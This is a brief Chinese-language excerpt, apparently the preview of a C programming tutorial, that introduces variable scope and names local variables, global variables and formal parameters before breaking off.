一、C 作用域规则 任何一种编程中&#xff0c;作用域是程序中定义的变量所存在的区域&#xff0c;超过该区域变量就不能被访问。C 语言中有三个地方可以声明变量&#xff1a; 局部变量&#xff1a;在函数或块内部全局变量&#xff1a;在所有函数外部形式参数&#xff1a;在函数…...